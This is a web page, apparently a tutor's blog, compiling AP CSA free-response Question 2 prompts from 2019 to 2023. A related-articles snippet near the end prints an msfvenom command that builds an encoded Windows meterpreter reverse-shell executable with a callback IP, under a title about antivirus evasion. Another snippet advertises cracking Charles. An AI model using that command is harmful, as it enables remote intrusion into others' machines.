AP CSA FRQ Q2 Past Paper 五年真题汇总 2023-2019

Author(wechat): bigshuang2020
ap csa tutor, providing 1-on-1 tutoring.
国际教育计算机老师, 擅长答疑讲解,带学生实践学习。
热爱创作,作品:ap csa原创双语教案,真题梳理汇总, AP CSA FRQ专题冲刺, AP CSA MCQ小题狂练。

2023 FRQ Q2 Sign

This question involves methods that distribute text across lines of an electronic sign. The electronic sign and the text to be displayed on it are represented by the Sign class. You will write the complete Sign class, which contains a constructor and two methods.

The Sign class constructor has two parameters. The first parameter is a String that contains the message to be displayed on the sign. The second parameter is an int that contains the w i d t h width width of each line of the sign. The width is the positive maximum number of characters that can be displayed on a single line of the sign.
A sign contains as many lines as are necessary to display the entire message. The message is split among the lines of the sign without regard to spaces or punctuation. Only the last line of the sign may contain fewer characters than the width indicated by the constructor parameter
The following are examples of a message displayed on signs of different widths. Assume that in each example, the sign is declared with the width specified in the first column of the table and with the message "Everything on sale,please come in", which contains 34 characters.

在这里插入图片描述

In addition to the constructor, the Sign class contains two methods.
The numberOfLines method returns an int representing the number of lines needed to display the text on the sign. In the previous examples, numberOfLines would return 3, 2, and 1, respectively for the sign widths shown in the table.

The getLines method returns a String containing the message broken into lines separated by semicolons (😉 or returns null if the message is the empty string. The constructor parameter that contains the message to be displayed will not include any semicolons. As an example, in the first row of the preceding table, getLines would return "Everything on s;ale, please com;e in".No semicolon should appear at the end of the String returned by getLines.

The following table contains a sample code execution sequence and the corresponding results. The code execution sequence appears in a class other than Sign.

StatementMethod Call Return Value (blank if none)Explanation
String str;
int x;
Sign sign1 = new Sign("ABC222DE", 3);The message for sign1 contains 8 characters, and the sign has lines of width 3.
x = sign1.numberOfLines();3The sign needs three lines to display the 8-character message on a sign with lines of width 3.
str = sign1.getLines();"ABC;222;DE"Semicolons separate the text displayed on the first, second, and third lines of the sign.
str = sign1.getLines();"ABC;222;DE"Successive calls to getLines return the same value.
Sign sign2 = new Sign("ABCD", 10);The message for sign2 contains 4 characters, and the sign has lines of width 10.
x = sign2.numberOfLines();1The sign needs one line to display the 4-character message on a sign with lines of width 10.
str = sign2.getLines();"ABCD"No semicolon appears, since the text to be displayed fits on the first line of the sign.
Sign sign3 = new Sign("ABCDEF", 6);The message for sign3 contains 6 characters, and the sign has lines of width 6.
x = sign3.numberOfLines();1The sign needs one line to display the 6-character message on a sign with lines of width 6.
str = sign3.getLines();"ABCDEF"No semicolon appears, since the text to be displayed fits on the first line of the sign.
Sign sign4 = new Sign("", 4);The message for sign4 is an empty string.
x = sign4.numberOfLines();0There is no text to display.
str = sign4.getLines();nullThere is no text to display.
Sign sign5 = new Sign("AB_CD_EF", 2);The message for sign5 contains 8 characters, and the sign has lines of width 2.
x = sign5.numberOfLines();4The sign needs four lines to display the 8-character message on a sign with lines of width 2.
str = sign5.getLines();"AB;_C;D_;EF"Semicolons separate the text displayed on the four lines of the sign.

Write the complete Sign class. Your implementation must meet all specifications and conform to theexamples shown in the preceding table.

2022 FRQ Q2 Book & Textbook

The Book class is used to store information about a book.
A partial Book class definition is shown.

public class Book {/** The title of the book */private String title;/** The price of the book */private double price;/** Creates a new Book with given title and price */public Book(String bookTitle, double bookPrice) {/* implementation not shown */}/** Returns the title of the book */public String getTitle() {return title;}/** Returns a string containing the title and price of the Book */public String getBookInfo() {return title + "-" + price;}// There may be instance variables, constructors, and methods that are not shown.
}

You will write a class Textbook, which is a subclass of Book.
A Textbook has an edition number, which is a positive integer used to identify different versions of the book.
The getBookInfo method, when called on a Textbook, returns a string that also includes the edition information, as shown in the example.

Information about the book title and price must be maintained in the Book class.
Information about the edition must be maintained in the Textbook class.

The Textbook class contains an additional method, canSubstituteFor, which returns true if a Textbook is a valid substitute for another Textbook and returns false otherwise.
The current Textbook is a valid substitute for the Textbook referenced by the parameter of the canSubstituteFor method if the two Textbook objects have the same title and if the edition of the current Textbook is greater than or equal to the edition of the parameter.

The following table contains a sample code execution sequence and the corresponding results.
The code execution sequence appears in a class other than Book or Textbook.

StatementValue Returned (blank if no value)Class Specification
Textbook bio2015 = new Textbook("Biology", 49.75, 2);bio2015 is a Textbook with a title of "Biology", a price of 49.75, and an edition of 2.
Textbook bio2019 = new Textbook("Biology", 39.75, 3);bio2019 is a Textbook with a title of "Biology", a price of 39.75, and an edition of 3.
bio2019.getEdition();3The edition is returned.
bio2019.getBookInfo();"Biology-39.75-3"The formatted string containing the title, price, and edition of bio2019 is returned.
bio2019.canSubstituteFor(bio2015);truebio2019 is a valid substitute for bio2015, since their titles are the same and the edition of bio2019 is greater than or equal to the edition of bio2015.
bio2015.canSubstituteFor(bio2019);falsebio2015 is not a valid substitute for bio2019, since the edition of bio2015 is less than the edition of bio2019.
Textbook math = new Textbook("Calculus", 45.25, 1);math is a Textbook with a title of "Calculus", a price of 45.25, and an edition of 1.
bio2015.canSubstituteFor(math);falsebio2015 is not a valid substitute for math, since the title of bio2015 is not the same as the title of math.

Write the complete Textbook class. Your implementation must meet all specifications and conform to the examples shown in the preceding table.

2021 FRQ Q2 SingleTable

  1. The class SingleTable represents a table at a restaurant.
public class SingleTable {/*** Returns the number of seats at this table. The value is always greater than or equal to 4.*/public int getNumSeats() { /*implementation not shown*/ }/*** Returns the height of this table in centimeters.*/public int getHeight() { /*implementation not shown*/ }/*** Returns the quality of the view from this table.*/public double getViewQuality() { /*implementation not shown*/ }/*** Sets the quality of the view from this table to value.*/public void setViewQuality(double value) { /*implementation not shown*/ }// There may be instance variables, constructors, and methods that are not shown.
}

At the restaurant, customers can sit at tables that are composed of two single tables pushed together. You will write a class CombinedTable to represent the result of combining two SingleTable objects, based on the following rules and the examples in the chart that follows.

  • A CombinedTable can seat a number of customers that is two fewer than the total number of seats in its two SingleTable objects (to account for seats lost when the tables are pushed together).
  • A CombinedTable has a desirability that depends on the views and heights of the two single tables. If the two single tables of a CombinedTable object are the same height, the desirability of the CombinedTable object is the average of the view qualities of the two single tables.
  • If the two single tables of a CombinedTable object are not the same height, the desirability of the CombinedTable object is 10 units less than the average of the view qualities of the two single tables.

Assume SingleTable objects t1, t2, and t3 have been created as follows.

  • SingleTable t1 has 4 seats, a view quality of 60.0, and a height of 74 centimeters.
  • SingleTable t2 has 8 seats, a view quality of 70.0, and a height of 74 centimeters.
  • SingleTable t3 has 12 seats, a view quality of 75.0, and a height of 76 centimeters.

The chart contains a sample code execution sequence and the corresponding results.

StatementValue Returned (blank if no value)Class Specification
CombinedTable c1 = new CombinedTable(t1, t2);A CombinedTable is composed of two SingleTable objects.
c1.canSeat(9);trueSince its two single tables have a total of 12 seats, c1 can seat 10 or fewer people.
c1.canSeat(11);falsec1 cannot seat 11 people.
c1.getDesirability();65.0Because c1’s two single tables are the same height, its desirability is the average of 60.0 and 70.0.
CombinedTable c2 = new CombinedTable(t2, t3);A CombinedTable is composed of two SingleTable objects.
c2.canSeat(18);trueSince its two single tables have a total of 20 seats, c2 can seat 18 or fewer people.
c2.getDesirability();62.5Because c2’s two single tables are not the same height, its desirability is 10 units less than the average of 70.0 and 75.0.
t2.setViewQuality(80);Changing the view quality of one of the tables that makes up c2 changes the desirability of c2, as illustrated in the next line of the chart. Since setViewQuality is a SingleTable method, you do not need to write it.
c2.getDesirability();67.5Because the view quality of t2 changed, the desirability of c2 has also changed.

The last line of the chart illustrates that when the characteristics of a SingleTable change, so do those of the CombinedTable that contains it.

Write the complete CombinedTable class. Your implementation must meet all specifications and conform to the examples shown in the preceding chart.

2020 FRQ Q2 GameSpinner

This question involves the creation and use of a spinner to generate random numbers in a game.
A GameSpinner object represents a spinner with a given number of sectors, all equal in size.
The GameSpinner class supports the following behaviors.

  • Creating a new spinner with a specified number of sectors
  • Spinning a spinner and reporting the result
  • Reporting the length of the c u r r e n t r u n current run currentrun, the number of consecutive spins that are the same as the most recent spin
    The following table contains a sample code execution sequence and the corresponding results.
StatementsValue Returned (blank if no value returned)Comment
GameSpinner g = new GameSpinner(4);Creates a new spinner with four sectors.
g.currentRun();0Returns the length of the current run. The length of the current run is initially 0 because no spins have occurred.
g.spin();3Returns a random integer between 1 and 4, inclusive. In this case, 3 is returned.
g.currentRun();1The length of the current run is 1 because there has been one spin of 3 so far.
g.spin();3Returns a random integer between 1 and 4, inclusive. In this case, 3 is returned.
g.currentRun();2The length of the current run is 2 because there have been two 3s in a row.
g.spin();4Returns a random integer between 1 and 4, inclusive. In this case, 4 is returned.
g.currentRun();1The length of the current run is 1 because the spin of 4 is different from the value of the spin in the previous run of two 3s.
g.spin();3Returns a random integer between 1 and 4, inclusive. In this case, 3 is returned.
g.currentRun();1The length of the current run is 1 because the spin of 3 is different from the value of the spin in the previous run of one 4.
g.spin();1Returns a random integer between 1 and 4, inclusive. In this case, 1 is returned.
g.spin();1Returns a random integer between 1 and 4, inclusive. In this case, 1 is returned.
g.spin();1Returns a random integer between 1 and 4, inclusive. In this case, 1 is returned.
g.currentRun();3The length of the current run is 3 because there have been three consecutive 1s since the previous run of one 3.

Write the complete GameSpinner class. Your implementation must meet all specifications and conform to the example.

2019 FRQ Q2 StepTracker

This question involves the implementation of a fitness tracking system that is represented by the StepTracker class. A StepTracker object is created with a parameter that defines the minimum number of steps that must be taken for a day to be considered active.

The StepTracker class provides a constructor and the following methods

  • addDailySteps, which accumulates information about steps, in readings taken once per day
  • activeDays, which returns the number of active days
  • averageSteps, which returns the average number of steps per day, calculated by dividing thetotal number of steps taken by the number of days tracked

The following table contains a sample code execution sequence and the corresponding results.

Statements and ExpressionsValue Returned (blank if no value)Comment
StepTracker tr = new StepTracker(10000);Days with at least 10,000 steps are considered active. Assume that the parameter is positive.
tr.activeDays();0No data have been recorded yet.
tr.averageSteps();0.0When no step data have been recorded, the averageSteps method returns 0.0.
tr.addDailySteps(9000);This is too few steps for the day to be considered active.
tr.addDailySteps(5000);This is too few steps for the day to be considered active.
tr.activeDays();0No day had at least 10,000 steps.
tr.averageSteps();7000.0The average number of steps per day is (14000 / 2).
tr.addDailySteps(13000);This represents an active day.
tr.activeDays();1Of the three days for which step data were entered, one day had at least 10,000 steps.
tr.averageSteps();9000.0The average number of steps per day is (27000 / 3).
tr.addDailySteps(23000);This represents an active day.
tr.addDailySteps(1111);This is too few steps for the day to be considered active.
tr.activeDays();2Of the five days for which step data were entered, two days had at least 10,000 steps.
tr.averageSteps();10222.2The average number of steps per day is (51111 / 5).

Write the complete StepTracker class, including the constructor and any required instance variables and methods. Your implementation must meet all specifications and conform to the example.

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/73514.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

线程池详解:在SpringBoot中的最佳实践

线程池详解:在SpringBoot中的最佳实践 引言 在Java并发编程中,线程池是一种非常重要的资源管理工具,它允许我们在应用程序中有效地管理和重用线程,从而提高性能并降低资源消耗。特别是在SpringBoot等企业级应用中,正…

2025年IT行业技术革命全景解析:从AI到量子计算的落地实践

简介 2025年,全球IT行业正经历一场由AI、量子计算、物联网等技术驱动的变革。从BOE的AI制造系统到德易科技的无人机光伏巡检,从鲲鹏处理器的国产化突破到量子计算的算力革命,技术创新正在重塑产业格局。本文结合最新行业动态与实战案例&…

JVM - 年轻代和老年代

通过一些问题来讨论 JVM 中年轻代和老年代的内容 为什么要区分年轻代和老年代?哪些对像会进入老年代?什么时候会进行年轻代GC?什么时候会进行老年代GC? 1. 为什么要区分年轻代和老年代? 年轻代中的对象大部分都是短期…

【react】在react中async/await一般用来实现什么功能

目录 基本概念 工作原理 优点 注意事项 底层原理 实际应用场景 1. 数据获取 (API 请求) 2. 表单提交 3. 异步状态管理 4. 异步路由切换 5. 异步数据预加载 6. 第三方 API 调用 7. 文件上传/下载 8. 路由导航拦截 关键注意事项 基本概念 async 函数:用…

高维小样本数据的在线流特征选择

发布于24年国际学习和控制论杂志 文献地址 简要总结 《Online streaming feature selection for high-dimensional small-sample data》研究了高维小样本数据(HDSS)在类别不平衡情况下的在线流式特征选择问题,提出了一种名为OSFSHS的算法。…

1688.item_search_seller-搜索店铺列表接口返回数据说明

一、接口概述 item_search_seller 是 1688 提供的一个 API 接口,用于搜索店铺列表。通过该接口,开发者可以查询特定店铺的相关信息,包括店铺的基本信息、商品列表等。该接口广泛应用于电商数据采集、市场调研、店铺分析等场景。 二、接口请…

uniapp主题切换功能,适配H5、小程序

实现方法 方法性能消耗维护成本适用场景内联样式较高低小程序CSS变量属性选择器低中H5混合方案中等低跨平台项目 优势特点 性能优化: H5端使用CSS原生变量切换小程序端使用高效样式字符串生成切换动画流畅 维护性提升 主题配置集中管理新增主题只需要拓展vars对象…

线程未关闭导致资源泄漏

文章目录 资源泄漏(线程未关闭)问题描述错误实现优化原理正确实现优化原理 资源泄漏(线程未关闭) 问题描述 应用程序启动时创建线程池处理任务,但未在应用关闭时正确关闭线程池。 现象: 应用重启时&…

MSF木马的生成及免杀

先简单生成一个木马 ┌──(kali㉿kali)-[~] └─$ msfvenom -p windows/meterpreter/reverse_tcp lhosts61.139.2.130 lport3333 -e cmd/echo -i 10 -f exe -o cmd_echo_113_3333_10.exe [-] No platform was selected, choosing Msf::Module::Platform::Windows from the pa…

用C#实现UDP服务器

对UDP服务器的要求 如同TCP通信一样让UDP服务端可以服务多个客户端 需要具备的条件: 1.区分消息类型(不需要处理分包、黏包) 2.能够接收多个客户端的消息 3.能够主动给自己发过消息的客户端发消息(记录客户端信息)…

如何在 Postman 中发送 PUT 请求?

在 Postman 中发送 PUT 请求的步骤相对简单,包括新建接口、选择 PUT 方法、填写 URL 和参数等几个主要步骤。 Postman 发送 put 请求教程

charles抓包软件免费使用教程

本文将给大家介绍Charles破解教程,支持Windows和Mac系统,操作简单,永久免费使用。同时,我们也会提到另一款强大的抓包工具——SniffMaster(抓包大师),它在网络调试和数据包分析方面同样表现出色…

卷积神经网络 - 参数学习

本文我们通过两个简化的例子,展示如何从前向传播、损失计算,到反向传播推导梯度,再到参数更新,完整地描述卷积层的参数学习过程。 一、例子一 我们构造一个非常简单的卷积神经网络,其结构仅包含一个卷积层和一个输出…

.NET三层架构详解

.NET三层架构详解 文章目录 .NET三层架构详解引言什么是三层架构表示层(Presentation Layer)业务逻辑层(Business Logic Layer,BLL)数据访问层(Data Access Layer,DAL) .NET三层架构…

Redis实战常用二、缓存的使用

一、什么是缓存 在实际开发中,系统需要"避震器",防止过高的数据访问猛冲系统,导致其操作线程无法及时处理信息而瘫痪. 这在实际开发中对企业讲,对产品口碑,用户评价都是致命的。所以企业非常重视缓存技术; 缓存(Cache):就是数据交换的缓冲区&…

STM32八股【2】-----ARM架构

1、架构包含哪几部分内容 寄存器处理模式流水线MMU指令集中断FPU总线架构 2、以STM32为例进行介绍 2.1 寄存器 寄存器名称作用R0-R3通用寄存器用于数据传递、计算及函数参数传递;R0 也用于存储函数返回值。R4-R12通用寄存器用于存储局部变量,减少频繁…

effective Java 学习笔记(第二弹)

effective Java 学习笔记(第一弹) 整理自《effective Java 中文第3版》 本篇笔记整理第3,4章的内容。 重写equals方法需要注意的地方 自反性:对于任何非空引用 x,x.equals(x) 必须返回 true。对称性:对于…

mac命令行快捷键

光标移动 Ctrl A: 将光标移动到行首。Ctrl E: 将光标移动到行尾。Option 左箭头: 向左移动一个单词。Option 右箭头: 向右移动一个单词。 删除和修改 Ctrl K: 删除从光标到行尾的所有内容。Ctrl U: 删除从光标到行首的所有内容。Ctrl W: 删除光标前的一个单词。Ctrl …

CentOS 7部署主域名服务器 DNS

1. 安装 BIND 服务和工具 yum install -y bind bind-utils 2. 配置 BIND 服务 vim /etc/named.conf 修改以下配置项: listen-on port 53 { any; }; # 监听所有接口allow-query { any; }; # 允许所有设备查询 3 . 添加你的域名区域配置 …

优化 SQL 语句方向和提升性能技巧

优化 SQL 语句是提升 MySQL 性能的关键步骤之一。通过优化 SQL 语句,可以减少查询时间、降低服务器负载、提高系统吞吐量。以下是优化 SQL 语句的方法、策略和技巧: 一、优化 SQL 语句的方法 1. 使用 EXPLAIN 分析查询 作用:查看 SQL 语句的执行计划,了解查询是如何执行的…